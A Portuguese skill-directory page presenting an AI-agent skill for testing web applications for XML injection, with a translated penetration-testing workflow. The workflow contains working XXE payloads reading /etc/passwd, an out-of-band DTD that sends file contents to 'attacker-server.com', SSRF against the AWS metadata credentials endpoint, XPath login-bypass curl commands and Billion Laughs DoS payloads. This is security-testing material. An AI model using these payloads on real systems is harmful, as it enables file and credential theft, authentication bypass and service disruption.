Pular para o conteúdo
Skillpedia
Testes35 mil · #6227

testing-for-xml-injection-vulnerabilities

Ajuda seu agente a testar sites contra ataques de injeção XML. Ele procura por falhas que podem expor dados ou permitir que o site execute comandos indesejados. Essencial para proteger aplicações web.

O que ela faz

Esta ferramenta ajuda a encontrar falhas de segurança em sites e aplicativos que usam XML. Ela procura por maneiras de acessar informações que não deveriam ser expostas ou de fazer o servidor executar ações indesejadas.

Quando usar

  • ✓Quando um site aceita arquivos ou dados em formato XML.
  • ✓Ao testar a segurança de APIs que usam XML.
  • ✓Ao verificar sistemas de login que usam XML para autenticação.

Exemplo do que pedir para a IA

“Verifique se o site `exemplo.com` tem vulnerabilidades de injeção XML.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-xml-injection-vulnerabilities/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-xml-injection-vulnerabilities/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta envia dados XML especialmente criados para o site. Se o site for vulnerável, ele pode revelar informações sensíveis ou permitir que o atacante controle partes do servidor.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-xml-injection-vulnerabilities

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/testing-for-xml-injection-vulnerabilities/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Testando Vulnerabilidades de Injeção de XML

Quando Usar

  • Ao testar aplicações que processam entrada XML (APIs SOAP, XML-RPC, uploads de arquivos)
  • Durante testes de penetração de aplicações com parsers XML
  • Ao avaliar implementações de autenticação baseadas em SAML
  • Ao testar funcionalidades de importação/exportação de arquivos que lidam com formatos XML
  • Durante testes de segurança de APIs de serviços web baseados em SOAP ou XML

Pré-requisitos

  • Burp Suite com extensões relacionadas a XML (Content Type Converter, XXE Scanner)
  • XMLLint ou ferramentas similares de validação XML
  • Compreensão da estrutura XML, DTDs e processamento de entidades
  • Python 3.x com as bibliotecas lxml e requests
  • Acesso a um servidor de interação out-of-band (Burp Collaborator, interact.sh)
  • Exemplos de payloads XXE do repositório PayloadsAllTheThings

Fluxo de Trabalho

Passo 1 — Identificar Endpoints de Processamento XML

# Look for endpoints accepting XML content types
# Content-Type: application/xml, text/xml, application/soap+xml
# Check WSDL files for SOAP services
curl -s http://target.com/service?wsdl

# Test if endpoint accepts XML by changing Content-Type
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><root><test>hello</test></root>'

# Check for XML file upload functionality
# Look for .xml, .svg, .xlsx, .docx file processing

Passo 2 — Testar XXE Básico (Recuperação de Arquivo)

<!-- Basic XXE to read local files -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>

<!-- Windows file retrieval -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><data>&xxe;</data></root>

<!-- Using PHP wrapper for base64-encoded file content -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root><data>&xxe;</data></root>

Passo 3 — Testar XXE Cego com Detecção Out-of-Band

<!-- Out-of-band XXE using external DTD -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker-server.com/xxe.dtd">
  %xxe;
]>
<root><data>test</data></root>

<!-- External DTD file (xxe.dtd hosted on attacker server) -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker-server.com/?data=%file;'>">
%eval;
%exfil;

<!-- DNS-based out-of-band detection -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://xxe-test.burpcollaborator.net">
]>
<root><data>&xxe;</data></root>

Passo 4 — Testar SSRF via XXE

<!-- Internal network scanning via XXE -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root><data>&xxe;</data></root>

<!-- AWS metadata endpoint access -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&xxe;</data></root>

<!-- Internal port scanning -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-server:8080/">
]>
<root><data>&xxe;</data></root>

Passo 5 — Testar Injeção XPath

# Basic XPath injection in search parameters
curl "http://target.com/search?query=' or '1'='1"

# XPath authentication bypass
curl -X POST http://target.com/login \
  -d "username=' or '1'='1&password=' or '1'='1"

# XPath data extraction
curl "http://target.com/search?query=' or 1=1 or ''='"

# Blind XPath injection with boolean-based extraction
curl "http://target.com/search?query=' or string-length(//user[1]/password)=8 or ''='"
curl "http://target.com/search?query=' or substring(//user[1]/password,1,1)='a' or ''='"

Passo 6 — Testar XML Billion Laughs (DoS)

<!-- Ataque Billion Laughs (use apenas em testes autorizados) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<root><data>&lol4;</data></root>

<!-- Ataque de explosão quadrática -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY a "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
]>

…
Perguntas frequentes

O que é XXE?

XXE significa 'XML External Entity'. É um tipo de ataque que explora como o site processa informações XML, permitindo que o atacante leia arquivos no servidor ou faça o servidor se conectar a outros sistemas.

O que é Injeção XPath?

É um ataque onde o invasor insere comandos maliciosos em consultas XPath (usadas para navegar em dados XML) para obter acesso não autorizado ou manipular dados.

Isso pode danificar meu site?

Se usado incorretamente ou em um ambiente de produção sem autorização, sim. Esta ferramenta é para testes de segurança em ambientes controlados e autorizados.

Detalhes

Descrição original do autor

Test web applications for XML injection vulnerabilities including XXE, XPath injection, and XML entity attacks to identify data exposure and server-side request forgery risks.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6227
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas